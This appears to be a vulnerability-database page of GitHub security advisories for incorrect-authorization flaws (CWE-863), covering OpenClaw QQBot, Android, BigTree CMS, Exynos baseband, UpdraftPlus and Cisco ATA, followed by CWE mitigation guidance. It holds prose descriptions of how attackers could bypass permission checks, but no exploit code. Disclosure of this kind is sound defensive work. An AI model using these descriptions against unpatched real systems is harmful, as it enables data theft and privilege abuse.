disable exported QQBot admin commands or restrict QQBot access until patched. As general hardening, keep channel and tool allowlists narrow, avoid sharing one Gateway between mutually untrusted users, and disable the affected feature when it is not needed.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.4.29"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-02T16:48:45Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nQQBot admin commands could skip DM-only and allowFrom policy. In affected versions, a QQBot sender able to trigger the exported command could route admin commands without the QQBot-specific DM-only and allowFrom checks.\n\nThis advisory is scoped to the named feature and configuration. It does not change OpenClaw\u0027s trusted-operator model: authenticated Gateway operators, installed plugins, and intentional local execution surfaces remain trusted unless a separate policy, approval, allowlist, sandbox, or auth boundary is crossed.\n\n### Impact\n\nWhen the affected feature is enabled and reachable, this could run QQBot admin behavior from a sender or context that policy should have blocked. Practical impact depends on the operator\u0027s configuration and whether lower-trust input can reach that path.\n\n### Patched Versions\n\nThe first stable patched version is `2026.4.29`.\n\n### Mitigations\n\ndisable exported QQBot admin commands or restrict QQBot access until patched. As general hardening, keep channel and tool allowlists narrow, avoid sharing one Gateway between mutually untrusted users, and disable the affected feature when it is not needed.",
  "id": "GHSA-w4v6-g3wm-w36c",
  "modified": "2026-07-02T16:48:45Z",
  "published": "2026-07-02T16:48:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-w4v6-g3wm-w36c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw: QQBot admin commands could skip DM-only and allowFrom policy"
}

GHSA-W4VG-P7JP-GM68

Vulnerability from github – Published: 2022-05-24 19:16 – Updated: 2022-07-13 00:00
VLAI
Details

In sendAccessibilityEvent of NotificationManagerService.java, there is a possible disclosure of notification data due to a missing permission check. This could lead to local information disclosure with User execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-11 Android-8.1 Android-9 Android-10Android ID: A-159624555

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-0682"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-10-06T15:15:00Z",
    "severity": "MODERATE"
  },
  "details": "In sendAccessibilityEvent of NotificationManagerService.java, there is a possible disclosure of notification data due to a missing permission check. This could lead to local information disclosure with User execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-11 Android-8.1 Android-9 Android-10Android ID: A-159624555",
  "id": "GHSA-w4vg-p7jp-gm68",
  "modified": "2022-07-13T00:00:59Z",
  "published": "2022-05-24T19:16:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-0682"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/2021-09-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W4X3-44P5-962M

Vulnerability from github – Published: 2022-05-13 01:47 – Updated: 2022-05-13 01:47
VLAI
Details

BigTree CMS through 4.2.18 does not prevent a user from deleting their own account. This could have security relevance because deletion was supposed to be an admin-only action, and the admin may have other tasks (such as data backups) to complete before a user is deleted.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-9378"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-06-02T15:29:00Z",
    "severity": "MODERATE"
  },
  "details": "BigTree CMS through 4.2.18 does not prevent a user from deleting their own account. This could have security relevance because deletion was supposed to be an admin-only action, and the admin may have other tasks (such as data backups) to complete before a user is deleted.",
  "id": "GHSA-w4x3-44p5-962m",
  "modified": "2022-05-13T01:47:56Z",
  "published": "2022-05-13T01:47:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-9378"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bigtreecms/BigTree-CMS/issues/282"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bigtreecms/BigTree-CMS/commit/f7899701d7be91b7dc546b65e44a27b668eb3b76"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W54G-6FF7-7QVJ

Vulnerability from github – Published: 2022-03-31 00:00 – Updated: 2022-04-06 00:01
VLAI
Details

In Voicemail, there is a possible way to retrieve a trackable identifier due to a missing permission check. This could lead to local information disclosure with no additional execution privileges needed. User interaction is needed for exploitation.Product: AndroidVersions: Android-12LAndroid ID: A-186405602

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-39742"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-03-30T16:15:00Z",
    "severity": "MODERATE"
  },
  "details": "In Voicemail, there is a possible way to retrieve a trackable identifier due to a missing permission check. This could lead to local information disclosure with no additional execution privileges needed. User interaction is needed for exploitation.Product: AndroidVersions: Android-12LAndroid ID: A-186405602",
  "id": "GHSA-w54g-6ff7-7qvj",
  "modified": "2022-04-06T00:01:55Z",
  "published": "2022-03-31T00:00:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-39742"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/android-12l"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W552-XCP4-6HJG

Vulnerability from github – Published: 2022-12-08 18:30 – Updated: 2022-12-10 03:30
VLAI
Details

Improper authorization in Exynos baseband prior to SMR DEC-2022 Release 1 allows remote attacker to get sensitive information including IMEI via emergency call.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-39902"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-12-08T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "Improper authorization in Exynos baseband prior to SMR DEC-2022 Release 1 allows remote attacker to get sensitive information including IMEI via emergency call.",
  "id": "GHSA-w552-xcp4-6hjg",
  "modified": "2022-12-10T03:30:43Z",
  "published": "2022-12-08T18:30:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-39902"
    },
    {
      "type": "WEB",
      "url": "https://security.samsungmobile.com/securityUpdate.smsb?year=2022\u0026month=12"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W56X-F43J-RGX4

Vulnerability from github – Published: 2022-02-18 00:00 – Updated: 2022-02-19 00:01
VLAI
Details

The UpdraftPlus WordPress plugin Free before 1.22.3 and Premium before 2.22.3 do not properly validate a user has the required privileges to access a backup's nonce identifier, which may allow any users with an account on the site (such as subscriber) to download the most recent site & database backup.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-0633"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-02-17T19:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The UpdraftPlus WordPress plugin Free before 1.22.3 and Premium before 2.22.3 do not properly validate a user has the required privileges to access a backup\u0027s nonce identifier, which may allow any users with an account on the site (such as subscriber) to download the most recent site \u0026 database backup.",
  "id": "GHSA-w56x-f43j-rgx4",
  "modified": "2022-02-19T00:01:40Z",
  "published": "2022-02-18T00:00:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0633"
    },
    {
      "type": "WEB",
      "url": "https://jetpack.com/2022/02/17/severe-vulnerability-fixed-in-updraftplus-1-22-3"
    },
    {
      "type": "WEB",
      "url": "https://updraftplus.com/updraftplus-security-release-1-22-3-2-22-3"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/d257c28f-3c7e-422b-a5c2-e618ed3c0bf3"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/166059/WordPress-UpdraftPlus-1.22.2-Backup-Disclosure.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-W5CM-M7C3-4JJ4

Vulnerability from github – Published: 2024-10-16 18:31 – Updated: 2024-10-16 18:31
VLAI
Details

A vulnerability in the web-based management interface of Cisco ATA 190 Series Analog Telephone Adapter firmware could allow an authenticated, remote attacker with low privileges to run commands as an Admin user.

This vulnerability is due to incorrect authorization verification by the HTTP server. An attacker could exploit this vulnerability by sending a malicious request to the web-based management interface. A successful exploit could allow the attacker to run commands as the Admin user.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-20420"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-250",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-16T17:15:13Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability in the web-based management interface of Cisco ATA 190 Series Analog Telephone Adapter firmware could allow an authenticated, remote attacker with low privileges to run commands as an Admin user. \n\nThis vulnerability is due to incorrect authorization verification by the HTTP server. An attacker could exploit this vulnerability by sending a malicious request to the web-based management interface. A successful exploit could allow the attacker to run commands as the Admin user.",
  "id": "GHSA-w5cm-m7c3-4jj4",
  "modified": "2024-10-16T18:31:46Z",
  "published": "2024-10-16T18:31:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-20420"
    },
    {
      "type": "WEB",
      "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ata19x-multi-RDTEqRsy"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design
  • Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
  • Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Mitigation MIT-4.4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
  • For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
  • One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

No CAPEC attack patterns related to this CWE.